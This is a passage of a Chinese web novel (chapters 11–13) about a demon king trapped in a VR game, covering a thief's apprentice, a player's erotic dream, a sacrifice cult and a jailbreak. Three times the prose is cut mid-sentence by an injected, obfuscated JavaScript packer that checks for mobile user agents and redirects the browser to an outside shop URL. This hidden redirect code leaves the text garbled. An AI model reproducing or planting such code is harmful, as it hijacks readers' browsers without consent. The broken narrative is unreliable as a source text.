话虽如此，肯尼仍忌惮着阿契恩，于是话音未落他便逃走、消失不见，就这么抛弃了辛苦打造的魔物。 才诞生的魔物不堪一击，阿契恩终结掉这只混沌的生命，让纠缠在一起的几个灵魂重归安宁。 他板着脸，凝视不远处被魔焰轰击出的大坑，和肯尼流的大片黑血。 但凡手里有个高级法术，他都不可能让肯尼逃走，而这定将产生更大的隐患。 最后，阿契恩对着魔物的尸体释放了火球术，用烈焰将它焚烧殆尽，以免哪天被无知的村民看见，又传出些新的谣言。 *** 路易留守在城内复活点旁。他百思不得其解明明是剧情杀，阿契恩为什么迟迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124857|196016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未被传送过来。 组队面板上阿契恩的血条近乎消失，需要瞪大眼睛仔细瞧才能看出剩下一点微乎其微的血量。 这时系统发来下线提醒。 路易只好先登出游戏去上了个厕所，然后再重新上线，继续等待。 令他意外的是，这时候的阿契恩仍然显示存活，那样少的血明明是连摔跤都会死的程度。 路易想了想，决定给对方发去消息，让他结束剧情后到复活点来找自己。 几分钟过去，阿契恩果然没回复。 对于这位倔强的独狼玩家到底会不会来，路易心里也没谱。 他干脆盘腿坐在地上、撑着腮帮子等啊等，在几乎快要睡着前，终于听到身后传来脚步声。 回过头，阿契恩的身影令他感到欣喜。他立马站起身，迎上去，率先开口问：“难以置信，你竟然硬抗下了那波攻击。后面的剧情是什么？” “无聊的剧情，不提也罢。” 阿契恩意不在此，冷不丁伸手扯住路易坠着颗兽牙的项链，将他拉到近前。 路易猝不及防向前踉跄，差点左脚绊右脚地趴在阿契恩身上。颈后传来束缚感，双眼不由自主地失神片刻，随后视线迎上阿契恩下垂的眼帘，心间竟萌生出些难以言说的滋味。 路易迟疑着问：“你这是……” 阿契恩勾了勾手指，指腹在不经意间划过路易的下巴，表情一如既往地冷淡：“这条项链不错。” 通常来讲能说出这种话的人往往醉翁之意不在酒，但如果这人是阿契恩，那他就是字面意。 “啊？哦……”路易尴尬地眨眼，不确定自己有没有流露出什么丢脸的微表情，故作镇定道，“害，这就是副本掉落的装备啊，你想要就送你。” 说着，他把项链取了下来，交到阿契恩手中。 只见阿契恩抚摸项链的细绳，又轻轻拉伸，对其质地和弹性很是满意。 他的手骨节分明，韧带和指节撑起白皙的皮肤，青紫色的血管若隐若现。路易就这么看着自己的项链被灵巧地绕在他的手指间，将散开的半长发束在脑后，扎成一个低马尾。 路易摸了摸后颈，皮肤上似乎还残留着被吊绳勒紧的触感。 “怎么……突然想起把头发扎上了？”他问。 看惯了半长发披肩的魔王，路易对这个新形象不太适应，但多看几眼后……果然有一张足够好看的脸，什么样的发型都适合。 “省得再有人拿我的头发狐假虎威。” 阿契恩还没咽下那口气，属实有些不吐不快。 不知道来龙去脉的路易听得一头雾水：“啥？拿你头发去干什么？” “不说这个了，那个少年现在在哪儿？有件事我得向他确认。” 11. 第11章 路上，阿契恩和路易受到了附近村民的热烈欢迎，称他们为解决了凶残魔物的勇者。 即便知道是游戏剧情，路易还是很代入，乐呵呵地朝着村民挥手。 他看阿契恩一点反应也没有，用胳膊肘捅了他两下，道：“不管怎么样，英勇事迹这样家喻户晓还是相当令人兴奋的，对吧？” 阿契恩面无表情中又带着点看傻子的眼神，大概是嫌弃他聒噪，不动声色地朝旁边移开半步，让他没那么容易碰到自己。 少年的父亲除了扭伤一只脚和多部位擦伤外并无大碍，此时已经休息睡下。 少年见到是救父恩人来访，热情拉着他们进屋。少年母亲闻言立即到里屋端出一些洗干净的水果招待。 阿契恩不打算久留，对少年开门见山：“我来是想向你打听银哨的事。” “唉来都来了，”路易没心没肺地坐下，拿过绿苹果咬了一大口，还没咽下去就向阿契恩推荐道，“甜的唉！你尝尝。” 阿契恩站在原地，没开口，但态度很明确。 “唉？加了2点力量值。” 这句话成功说服阿契恩。 他坐到路易身旁空出来的位置上，也伸手去拿了个苹果，咬了一大口。鼓起的腮帮子随着他的咀嚼一动一动，但表情上却是一如既往地冷漠。 “确实很甜。”他说。 随后果然看到力量值+2的提示。 少年挠了挠头：“你是想问我给你的那枚狗哨吗？是我在夜市角落的一个摊位上淘来的。” 阿契恩明显感觉到说这话时银哨在轻微震动，大概是被封印其中的噬心魔正在大发雷霆。他用力攥了一下，其中的魔物立即屈服于魔王的威压，老实不动了。 “方便带个路吗？” “当然没问题，跟我来。” 少年很积极，说着便朝着门口的方向跑去。结果下一秒就被母亲叫住，严厉批评他太晚了不许出去。 “妈妈！是勇者先生要我帮忙！”少年抗议着，并保证道，“我不离开镇子，会很快回来的。” 母亲叹了口气，无奈答应：“快去快回，你和你爸一个样，都叫人不省心。” 临走前，阿契恩顺手多拿了个苹果走，但很可惜，力量值的加成并非无上限，只加一次。 夜晚的树林危险，禁止入内。但在绝对安全的村中，深夜的集市灯火通明，充斥着各路玩家和NPC，很是热闹。 看到这样多的人，阿契恩皱了下眉头。 果然下一秒就有人迎上来，问他还接受不接受切磋，并表示自己刚换了把新武器，这次一定不会输。 “暂时不行，这会儿没空……” 阿契恩话音未落，不远处又一声惊呼—— “是他！把那个臭名昭著的公会打解散的阿契恩！” “真是太感谢你了，我之前被他们缠上，一度绝望得差点要去二手平台转卖游戏舱了。” “你连胜断了吗？” “哇大佬还在新手村！打本吗？求带求带……” 打击强盗公会造福新人并非阿契恩本意，他自己都没搞清副本是什么更别提带人。他变着法地拒绝，让带路少年走得再快些，好让他逃离窘境。 这些人的热情与自作多情让他苦恼，却又不值得为此大动肝火、恶语相向。 路易看出阿契恩的难以适从，调侃道：“你不知道自己成了大红人吗？论坛上好多hot贴都是关于你的。” “什么论坛？我不知道。” “怎么？难道你模仿阿契恩并不是为了话题度？” 阿契恩已经懒得反驳模仿不模仿的事。 “我还没有无聊到那种程度。” “好吧好吧，既然如此今晚更新过后你应该就没这些烦恼了，听说要出个勿扰模式。” 阿契恩又没听懂，但他同样也懒得问。 少年最终带他们来到夜市最偏僻的角落，眼前这个摊子黑着灯，布置得简陋，只在地上铺了块算不上干净的布，上面摆着些老鼠干、破手套、钟表零件等没人要的小玩意儿。 “这些东西看上去更像垃圾。”路易直言不讳，“摊主呢？” “那就不好说了，之前也是神出鬼没的。” “好吧，”阿契恩说，“我们在这儿等等看。对了，还有一件事……” 他特地停顿，看他郑重其事，少年也随之严肃起来。 “你必须跟村子里的人澄清，魔王没有用自己的血肉喂猪。” “啊？”少年诧异。 阿契恩一脸正色，告诉对方自己不是在开玩笑，此事非常重要。 报着不理解但尊重的心态，少年挠着头答应下来，告别二人。 时间一分一秒的过去，见阿契恩以双臂交叉环抱胸前的姿势一动不动许久，路易有些震惊他的耐心，毕竟这位先前表现出的种种可更像个急性子。 “快到时间了，咱们得改天再来了。”路易忍不住叫停。 “什么时间？” “忘了吗？凌晨两点，停服更新。” 阿契恩困惑地望着他。 “你看，提前十分钟发通知提醒玩家下线了。” 路易指着弹窗给阿契恩看，但阿契恩眼前什么也没有。 阿契恩思考了几秒，觉得对方应该是指先前几次的突然消失。 他点点头：“你走吧，改天再见。” “只有几分钟了，那个NPC就算回来也没时间完成剧情了吧？”路易有些不解，顺便他想起自己似乎总是先下线的那一个，也从未见过阿契恩的离线状态，“时候不早了，你要注意休息啊，别猝死了。” 这天底下不会再有魔王因为没休息好猝死更招笑的事了。 路易走后，夜市里的人也开始接连消失，短短几分钟的时间，所有玩家都变得无影无踪，只剩下头顶蓝字的NPC。 热闹的气氛像是被按下了暂停键，很快，NPC们也开始关灯收摊，整个世界似乎在某个很重要但又无法理解的事而停摆。 随着暖色灯光的彻底熄灭，所有人都离开了。 阿契恩仍守在摊位前。四周静极了，时间仿佛彻底停滞。 先前的聒噪难免扰乱视听，只有在绝对安静的环境下才好寻找目标。 阿契恩的眼神变得锐利，一切风吹草动尽收眼底，像敏锐的捕食者，但不用费心隐藏身形，另有胆小者藏在暗处，无处可逃。 忽然，他的视线在十几米远的地方定格，随即沉声命令道：“出来。别让我说第二遍。” “遵命，魔王大人。” 随着这声应答，原本空无一物的墙角处，一个穿着斗篷的矮小身影缓缓现身。随着兜帽掀开，一颗圆顿的脑袋露了出来，两侧嵌着对闪亮的小眼睛，纤细的尾巴也从斗篷下缘伸出，俨然是只直立行走的壁虎。 嘴里两排细牙还没长全，看样子年纪不大，是个亚成年的小姑娘。 听语气，小壁虎并不惊恐，反而有些惊喜。 第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124858|196016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次面见魔王，她竹节似的小手在胸前做着紧张的小动作：“真没想到能在这儿见到您……您是来找我的吗？有什么事可以帮您？” 她语速有些慢，想必是细长的舌头不便发音。但声线却温软好听，和她浅褐色的鳞片一样低调亲和。 “你是肯尼的学徒？”阿契恩问她。 “是的，”听到老师的名字，小壁虎的腰板直了些，充满自信，“我叫奥菲莉亚。” 她小跑到阿契恩近前，以刚过一米的身高仰视着他，和肯尼刚见到他是的反应大相径庭。 阿契恩冷笑道：“你看起来不怕我。” “您是我们敬仰的王，我没理由怕您。” 不会有人面对魔王的兴师问罪还能这样镇定自若，更别提这样一只初出茅庐的小壁虎，唯一的可能只有她并不知情。 无差别的恐吓毫无意义，反而劳心劳力。 阿契恩的神情柔软了些，继续问她：“你隐身的能力也是肯尼教给你的吗？” “不，是我自学的。老师正是看中了我这份本领才收我为徒的。他常让我去一些地方取东西，魔王大人也是来找我干这个的吗？” 看来还是没有找错人。 阿契恩的眼神又冷了下来：“你去过魔王城的宝库，对吗？” “我……我不知道，老师从不告诉我去的地方叫什么。” “那你认得这个吗？” 阿契恩把银哨拿了出来。 “这个……” “亦或者是一个木质哨子？” “银哨子忘记了，木哨子见过。我把它卖给了一个小男孩，三枚金币。”奥菲莉亚举起自己只有四个指头的爪子，收起拇指，比了个“三”，“我给自己买了点吃的。” 银哨又开始发抖——被如此贱卖，不怪噬心魔会发火。 这怎么看都是只个被利用的、天真又糊涂的小女孩。 阿契恩报着最后的希望问：“那你知道肯尼现在在哪儿吗？” 可惜奥菲莉亚摇摇头：“前几天老师生气了，骂了我一顿，从那之后我就再也没见过他了。” 事已至此，恐怕再问不出什么了。 阿契恩决定放过这只小壁虎：“好了没事了，你走吧。” “没事了？不需要我做什么吗？”奥菲莉亚小小的眼睛里流露出殷切，“老师不要我了，说实话我不知道自己还能去哪儿。让我跟着您好不好，魔王大人？” “我不需要跟班。” 有一个路易已经是阿契恩的承受极限了。 “我不会添乱的。” “我不需要。”阿契恩不容辩驳。 奥菲莉亚缩了缩脖子：“那……好吧。” 随后站在原地目送阿契恩远去。 玩家消失后，镇子上的人仿佛都在同一时间陷入沉睡，街上很冷清，临街房屋内也不见灯火。 阿契恩打算去先前碰到空气墙的地方看看是不是能顺利通过了。刚迈进野外地图范围，他就停下了脚步。 他回头看向几米远的地方，矮灌木从旁的草地显出一个突兀的凹陷，显然是有什么东西压在上面。 阿契恩确信是奥菲莉亚在跟着自己，这样拙劣的小把戏可骗不过魔王。 他本该给这只违背命令的魔物点教训，但…… 他垂下眼帘，朝奥菲莉亚所在方位凝视，冰冷的眼神让这只被老师抛弃、无依无靠的小魔物瑟瑟发抖，带动所占之处的草杆。 罢了，就随她去吧。 12. 第12章 队友阵亡的提示音接连响起，刺耳至极。 显然，这又是一次失败的讨伐。 魔王缓步走下台阶，周身是化不开黑暗雾霭，鞋跟踏在地面上的清脆声在空旷的城堡中回荡着。 路易攥紧剑，但魔王强大的压迫感像缠绕在身上的蛇，让他再使不出一招一式，甚至动弹不得。 他就这么看着阿契恩逐渐逼近，最后绝望地闭紧眼，等待死亡降临。 几秒后，随着脚步声在身前停止，肩头传来推感。路易猝不及防，身子好似比平时更轻，一下子向后倒去，摔了个屁墩儿。地面也比想象中软，摔得扎实却一点也不疼。他来不及思考缘由，仓促睁眼便看到阿契恩朝自己身上压来。 等等等等……！别告诉我是某种游戏里经典的战败就要被—— 这难道不是个正经游戏吗？！ 路易挣扎着直起上半身，试图摆脱压制，不料阿契恩一把抓住他的小腿，力气很大，轻而易举地将他重新拉回至身下。 这还是路易第一次仰望魔王城穹顶，但视线下一秒就被阿契恩的身子阻隔。这位魔王背着光，神色晦暗不清，路易整个身子都被他的影子吞并。 阿契恩反手抵住路易的膝窝将他的双腿压至胸前，命令道：“自己抱着。” 路易脑子里竟没有半点拒绝的意识，含糊地应了一声便照做了——甚至他都分辨不清是否是自己主动蜷曲起的腿，也说不清现在碰碰直跳的心脏是源于被侵.犯的恐惧还是期待。 衣料撕裂的声音响起，颈间项链被阿契恩猛地攥住，一把拉紧。 后颈传来的紧绷感似曾相识，路易挣扎着看去，看到阿契恩手指勾着链绳，那颗缠绕在项链上的兽牙被他攥在掌心。 这条项链……是……什么时候……好像哪里不对…… 路易来不及细想，他脖子发软，脑袋不受控制地向后仰去。 接下来的事，很难说是战败的惩罚还是给予活到最后之人的赏赐。 路易没有足够的理智维持体面，迎合着对方的节奏浪.叫。他在不觉间将手指勾入阿契恩腕处铠甲缝隙，本能地挽留，渴望着更热烈的交.融。 似乎怎么都不够，怎么都差一点，路易的渴求达到顶峰。可就在这时，他耳边忽然响起格格不入的铃声，持续不断，直到将他从那昏暗古堡彻底抽离—— 路易睁开眼，映入眼帘的是卧室房间的天花板。 他脑子发懵，还没从梦里完全清醒，眼睛更是因为熬大夜几乎睁不开。他带着股怒意地用手寻找声音的源头，摸了好久才从不知何时偏移到身侧的枕头下面摸出通讯手环，眯着眼睛看了几秒，才从模糊的视觉中分辨出名字。 “喂？”路易发觉自己嗓子哑得厉害，清了清嗓子，又确认了一眼来电对象、以及自己保持了摄像头的关闭，继续道，“干嘛啊，一大早的。” 他边说边坐起身，靠在床梆子上，把被踢走的被子重新扯过来盖住下半身，任由上半身赤裸。情绪还没有完全平复，胸口随呼吸上下起伏着。 不止枕头不在它该待的地方，床单也被他蹬得堆在床尾，可以想见梦中激烈程度，所幸是独居。 检测到住户苏醒，窗户玻璃的颜色自动调整，变成半透光的渐变灰色，阳光柔和地斜照进来，洒在床尾。 “你已经把新手村Boss打完了？”通讯那头的人劈头盖脸谴责道，“不是早就说好了咱俩一起打的吗？我等你两天了你就这么背叛我？当初可是我苦口婆心劝你回游的，你怎么还……” “好了好了，多大点事儿啊，我等下就上线带你再打一次，别叫了。”路易草草应付，在对方不解气的牢骚声中挂掉通讯。 路易把通讯手环随手扔到一边，发了会儿呆。 关于梦的记忆支离破碎的袭来，他掀开被子看了一眼，又有所预料地盖上，把本就睡成鸡窝的头发抓得更乱。 这不是他第一次梦到阿契恩。 内测的时候为了打败他没日没夜的进Boss房、背板，梦里都在对战——阿契恩的压迫感太强，即便是在梦里他都没赢过，或者说他根本想象不出阿契恩被自己击败的模样，就这样把同一个结局的噩梦做了一次又一次。 只有这一次，他梦见了那种事。 路易抬手摸向后颈，明明那里没留下任何勒痕，为什么项链被扯紧的感觉如此挥之不去？ “真是走火入魔了……” 他叹了口气，逼自己将淫.乱的梦抛至脑后，尝试忘却。 *** 阿契恩走过空气墙，仿佛穿过与另一个世界相隔的薄膜。 林间的光线陡然黯淡，雾气如某种有生命的实体般从土壤深处渗出，缠绕上他的脚踝。空气变得湿冷刺骨，视野中的树干在乳白色的氤氲里扭曲、变形，如同噩梦深处舞动的鬼影。 他很快迷失了方向，熟悉的路径被雾气吞噬，每一棵树都像是刚刚才见过，又仿佛从未谋面。 就在他怀疑自己是否在原地画圈时，一阵唱诵声穿透了浓雾。那并非清晰的歌谣，而是低沉的吟诵，此时此刻成为了某种指引。 阿契恩循声而去，在不知不觉间沿着缓坡上行。终于，他停在了一处断崖般的高地边缘，透过缓慢蠕动的雾气向下俯瞰。 下方，一处巨大的洞穴张着它黑暗的入口，穴前的空地上巍然矗立着一座粗糙的黑色石台，像是古老的祭坛。 石台中央，一个身影孤独地跪伏着，姿态如同待宰的牲口。而环绕在石台周围的，是十几个身着厚重长袍的身影。他们的脸隐藏在兜帽的深影里，先前听到的吟唱声正从那些阴影下持续不断地流出，汇成一股令人心神不宁的暗流。 阿契恩眯起眼，心中已然有了定论—— 活人祭祀。 即便了然，他也毫无阻拦的冲动。世间的暴行千千万，他早已学会袖手旁观。 唯一升起的念头是冰冷的好奇，他想知道这些人供奉的对象是“何方神圣”。 这个念头刚刚闪过，脚下的地面开始颤动。紧接着，一只巨手猛地从深邃的黑暗中探出。 那绝非人类的手掌，其大小足以覆盖整个石台，暗沉的皮肤覆盖着类似岩石的角质，缠绕着不祥的黑色气息。 它以一种与其庞大体型不符、迅捷异常的速度，一把攥住了石台上的祭品，像拾起一片微不足道的轻盈羽毛，瞬间便缩回了洞穴的绝对黑暗之中。 巨手探出的那一刻，长袍人们的吟诵声陡然拔高，变得尖锐而狂喜，达到了某种癫狂的顶点。 他们一边用更高的音调嘶吼着古老的词句，一边如同退潮般整齐地向后移动，迅速融入了林间的雾气，仪式就此戛然而止。 空地重归死寂，只有薄雾仍在无声流淌。 阿契恩居高临下地审视着，直到这场在他看来实在滑稽的闹剧结束，才发动传送技能。周围的空间随之发出一声几不可闻的嗡鸣，下一瞬，他出现在黑暗洞穴前。 阿契恩的身影被巨大幽深的洞口衬得渺小，但举手投足间的从容不迫，却仿若他才是这里的主人。 空气湿冷，夹杂着地下水淤堵腐烂的霉味。阿契恩随手挥出火球，在遥不可及的洞顶炸开，映出那只困缩于洞道内的巨手。 纵使洞穴内部空间宽阔，那只巨手也难以畅快活动，关节皮肉在坚硬岩壁上无数次磨烂、重新长好，最终与洞穴融为一体，更有难以想象的庞大躯体隐藏在无法照亮的深处。 可怜的祭品被它攥在掌中，是一位赤着脚的瘦弱女人。似乎只要稍稍施力她就会折骨丧命，但巨大的魔物没有那么做，似乎在等待着什么，亦或者是因为某个不速之客的到访终止了动作。 这是什么魔物……巨魔？还是别的什么？ 正当阿契恩尝试回想时，巨手松开了祭品，随意丢弃在一边，然后张开手掌，用生在掌心硕大眼球盯着阿契恩。 眼白的部分并非纯白，而是浑浊的。布满蛛网般虬结的猩红血丝缓缓脉动着，畸形的生命感令人作呕。 深色虹膜的每一丝纹理都清晰可见，包绕汇成一个宛若黑洞的正圆形瞳孔。那虚无的黑色，似乎只是沉默地凝视就足以击碎理智，带来深达灵魂的恐惧。 当然，这份恐惧是给闯入者的，而非蔑视一切的主宰—— 阿契恩只是站在原地，就流露出压倒性的威压。 起初这种感觉并不明显，但很快那枚眼球开始颤动，巨手稍向后退缩，最后更是随着一句“吾王”的问候，未知魔物的震慑力荡然无存。 被冷落在一旁的祭品手脚并用地爬起身。她看了看巨手，又看了看阿契恩，随后想下定了某种决心一般从他身边跑过，跌跌撞撞地跑出洞穴。 阿契恩淡然瞥了一眼祭品瘦弱的身影，放任她跑远。 他用问询代替回应，对魔物以绝对上位者的语气道：“那些人是你的信徒？我很好奇你能给他们带去什么。” “您误会了……”巨手微微拢起，趴伏在地上，就像对人恭敬地下跪朝拜一般，“自从您将我封印在这儿反省，我就只能用这只手捕捉路过洞穴的走兽飞鸟，勉强果脯为生。但自从那些人类发现了我，就时不时会送来一些人，不图回报。” 闻言阿契恩眉头一皱——他完全记不起来有封印这回事。 “从那之后过了多久呢……”声音从深远出传来，像是沉沉的叹息，“久到我早已记不清了……我一直在等。您这次来，是终于愿意宽恕我了吗？” 哈哈，这不就尴尬了么？ 阿契恩不是没原谅它，只是把它忘了罢了。 他完全记不起来对方怎么惹了自己。明明现在听着挺乖顺谦卑的，看来是封印太久，调教好了。 “这里住着怎么样？”阿契恩一边问一边朝旁边踱步，不时对地上的石子踢上两脚，又仰头低头、四下看看。 “能动的地方只有这只手臂，黑暗幽冷……您想敲打是我自作自受，对吗？我已然衷心悔过了，所以我恳求您，乞求您……” 想想也知道不会舒服。 既然忘了就说明恩怨已了，阿契恩同意将它解放出来。 但问题是，他同时也忘了封印方法。他暂时没找到特殊阵法的痕迹，如果当初是靠着力大砖飞、轰出个大坑将它埋进去的，那解封恐怕只会更麻烦。 到底是什么时候的事啊，明明从外面看这处洞穴都跟天然形成的无异了。 单是思考了几秒钟阿契恩就嫌烦了，也难怪自己当初会把这件事抛到脑后。 虽然这样做不厚道，但他还是深吸了一口气，故作意味深长地说：“还不够久，下次再见自会放你出来。” 被打服的魔物不敢质疑，只有死心塌地地顺从。 打探清楚后，阿契恩转身向洞外走，结果刚走两步就想起了更关键的事，止步问道：“对了，离这里最近的城镇怎么走？” 巨手明显一愣，似是没想到至强的王会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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老太管阿契恩叫“外乡的旅者”，碎碎叨叨地说了好多关于“巨目神使”、“祈福”的话，并从手里诸多手串中选出搭配着血红色石头的一条，说要送给阿契恩，并嘱咐他贴身带着，一定会有好事发生。 虔诚信仰的神使只不过是他随手镇压、转头忘却的魔物，这种信徒说出来的话阿契恩自然是半个字也不会信。 “不需要。”他果断拒绝，说着便打算绕过老太继续前进。 未料老太竟像耍无赖一般抓住阿契恩的衣袖，说只有巨目神使所在山下采来的神石才能为他驱散身上的诅咒与疾患。 阿契恩冷眼看她：“你倒是说说我身上有什么诅咒或疾患？” 他似乎报以某种期待，希望对方能道清自己当下被削弱与限制的处境究竟是受到了何种影响。 老太闭上眼，神叨叨地嘟囔起来，手中更是变换着捏出不同手势，晃动着，让挂在胳膊上的手串再次发出一阵碰撞声。 几秒后，一切动作戛然而止，她忽然瞪大眼，笃定道：“你的头部曾遭受重创，你因此变得健忘，总会丢掉许多重要的记忆。” 阿契恩不由得嘲笑自己竟然愿意花时间听这老婆子的疯言疯语。 “会忘记只能说明还不够重要。”他留下这么一句话，伸手将老太推开。 结果老太仍旧不依不饶，爆发出惊人怪力，抓过阿契恩的手，硬把手串往上戴。 如此难缠，阿契恩有些恼了。 敬酒不吃吃罚酒。他甩开老太，准备反手去拔剑。但就在这时，视野中对手串属性的标注让他转变了态度—— [力量值+2] [■■■■■] 至于第二行被隐去的字，阿契恩没有多想。他实在太需要增加力量值，以此更换更顺手的武器。 就这样，老太成功把手串套在阿契恩手腕上。她见阿契恩的抗拒有所收敛，斜着眼问：“怎么样，是不是感觉身子变得轻盈，头脑也比以前更明晰了？好好戴着吧，一刻也不要摘下……” 阿契恩懒得和她争辩神鬼之说，既然东西确实有用处，又不需要付出什么，收下便是。 他转了转手腕，确保这条手串不会在他挥动手串时脱手而出。 老太见此情形继续夸赞，说不会再有人比阿契恩更适合这条手串了。 阿契恩没附和，把老太当成空气继续向前，一边游荡一边留意店铺，好去为自己物色更好的装备。 结果是还没走出几步，来不及遇到店铺就又出了新岔子—— 只听前方巷子传来一阵嘈杂声，随即便瞧见有人摔倒在地上，后面尾随着的一大帮子人都追了上来，对那人一顿拳打脚踢，嘴里还振振有词，说什么搞砸了祭祀。 仔细一看，倒在地上挨打挂彩的人正是先前那个被当成祭品的赤脚女。 打得最狠的男人竟是她的丈夫，骂她该死，她的苟且偷生连累了家里人。 阿契恩冷眼旁观，没有上前阻拦的打算。 可距离太近，赤脚女还是看到了他。她的眼眶被打得青紫，眼里没有向人求助的哀伤，只有身处地狱还想拉人下水的癫狂。 女人举起瘦骨嶙峋的胳膊，指缝塞满了肮脏的泥土。只见她指向阿契恩，干瘪的嘴唇嗫嚅着说出几个音节：“……是他阻止了巨目大人，你们……应该怪他。” 此话一出，方才还对着女人拳脚相加的人全都停下了。他们直起腰杆，直勾勾地看向阿契恩。无论是眼神还是整齐划一的动作，都带着一种毛骨悚然的非人感。 接着，这些人朝阿契恩围了上来，有人拿着木棍摩拳擦掌，有人扽直手中的粗绳。 人多势众的确稳操胜券，只可惜他们似乎选错了对象。 阿契恩忍俊不禁，冷笑了一声：“认真的？” 13. 第13章 阳光被窗框分割，落在稻草堆上，形成几个歪歪扭扭的矩形。不知什么地方隐约传来滴水和老鼠吱吱叫的声响。 阿契恩抓着栏杆朝外看去，正对面的房间是空的，能勉强看到左边那间有人，他被关进来的时候那人就在了。 是的，这里是牢房。 其实那些平民暴徒本不足为惧，数量就算翻倍阿契恩也有能力将他们尽数砍杀。他胸有成竹地拔剑、咏唱法术，可视野中相继频频弹出[未命中]的提示，任何攻击都化作了泡影。 他的确有时间发动传送技能离开，但对这些镇民的不屑一顾让他反而更好奇未命中是怎么一回事。 之后他便被关进了这处简陋的牢房，武器绝对禁用、技能强制失效。 阿契恩脸上没有被关押的愤怒，平静从容得仿佛是来体验生活、甚至是度假的。 他上前握住栏杆，稍施力尝试晃动，发觉实心木杆有手腕粗，两头嵌在砖石中，牢固得很，仅靠蛮力不足撼动。 “别白费力气了。”被关在对面左侧那间牢房的玩家拖着长音懒散道，“这是‘剧情杀’，你也救了那个光着脚的女人，是不是？唉……我和你一样，是个热心肠。” “我没有。”阿契恩实话实说。 人是魔物主动放的，脚长在那人自己身上，他什么也没做。 “嗨呀，你不用跟我谦虚，怎么还做好事不留名呢？”那人笑了两声，然后往地上啐了一口，骂道，“谁叫咱玩家没法攻击NPC呢？纵使有万般手段也使不出来。那女的，咱们好心救她她反过头陷害我，等我出去非再把她丢回那洞里、让她碎尸万段不可。” 阿契恩没有被对方的发泄带动情绪——还没成功脱困就早早发火等于无能狂怒，丑陋又低能。 他淡然问道：“你让我别白费力气，是知道出去的方式吗？” “是啊，我去论坛上查了一下，剧情走到这儿时着了那女人的道的不止你我。结论就是要么在这大牢里等上24小时，要么请列表里随便一个好友来交一笔金币保释。唉要是早点看攻略就好了……”正说着，那人“啊”了一声，语气中的怨念一扫而空，“我朋友来了，再见了兄弟。你也快给好友发个消息吧，祝你好运。” 果然，没过多久，两个看守带着钥匙打开了牢房门，放了那人。 阿契恩歪着头瞧，沉默着思索方才听到的情报。 好友…… 他打开通讯面板，列表里只有唯二的人。巧合的是，他们都在线。 比起完全陌生的万斯，阿契恩更偏向于联系路易。而比起求助于人，他更擅长命令。 于是他在对话框里打下不能再短的三个字—— “来见我。” 路易秒回，但并不是应允：“着急吗？我在陪朋友打Boss，这会儿没空，得晚点。” 阿契恩挑了下眉，再没耐心进一步解释或是说第二遍。 他毫无留恋地关掉对话窗口，退后了两步，再次观察起牢房布局，寻找着便于逃脱的蛛丝马迹。 与此同时，路易却还守在私信界面，对青蛙哥的催促声充耳不闻。 然后呢？ 阿契恩他不再说点什么了吗？ 这明显是找我有事吧？ 路易心里忐忑，忍不住主动追问阿契恩：“什么事？” 直到青蛙哥快要忍不住拿竖琴砸他的头，他才依依不舍地关掉对话框。后来虽然表面专注于战斗，心里仍在想阿契恩回复了没有。 路易和青蛙哥没有追求隐藏剧情，野猪王不多时便轰然倒地。 掀起的尘土未落，路易就火急火燎地点开通讯列表，见阿契恩的头像旁边没有未读消息的提示，他心里一沉。 路易反复看那三个字——“来见我”。 明明是再普通不过的字体，他却仿佛听到了阿契恩低沉冰冷的声音。后颈再次传来紧绷感，就像是被人套上了一条无形的项圈。 不用分心作战，路易得以专心思索。 他猜阿契恩已经步入下一个城镇，至于能遇到什么一个人无法解决的困难…… “你难道是救了女祭品，现在被关进牢里了？哇，真想到以你性格竟会救她。需要赎金对吗？我这就去找你！” 路易经验丰富，猜得很准。 只可惜他的消息，阿契恩没看见。 正当阿契恩仰头认真观察牢房布局的时候，走廊上，一串钥匙悬在空中慢慢飘了过来。 “魔王大人，”空无一物之处传来温和的女声，“我有帮上忙吗？” 阿契恩维持着微仰头的动作没变，只是闻声垂下眼帘，目睹奥菲莉亚从隐身状态显形，嘴角一勾。 “还算不错。” 门锁被打开的那一刻，两柄武器一齐在面板中显示解锁。 阿契恩走出牢房，跨过掉落在地的锁头，背着手、闲庭信步，任谁看了都不会觉得这气势来自一位越狱者。 前方不远处，看守正背坐在通道口。 阿契恩的脚步完全无声，腿长步子大，几秒的工夫便出现在看守身侧，在看他做出任何反应之前，拔剑反手刺向他放在桌上的手。 剑刃钉入桌面，发出金属震动的铮鸣。 看守好似大脑宕机，先是怔怔地看着阿契恩，随后才低头看向自己的手，然后发出惊恐的喊叫。 阿契恩目光一沉，脸上浮现出不耐烦，嫌弃对方的聒噪。 这一剑本该毫无悬念地刺穿这名看守的手掌，可结果却是恰好刺在了手指缝间，撕心裂肺的叫声并非出于疼痛。 未命中。 阿契恩眯起眼，因困惑下意识抿紧嘴唇。他不理解玩家无法对NCP造成伤害的通用设定，更偏向于这人、以及将他抓进牢里的那群镇民身上有什么能抵挡他攻击的极品装备。 既然无法造成伤害，就没必要继续留在这儿浪费时间了，只能找到破解之法再做打算。 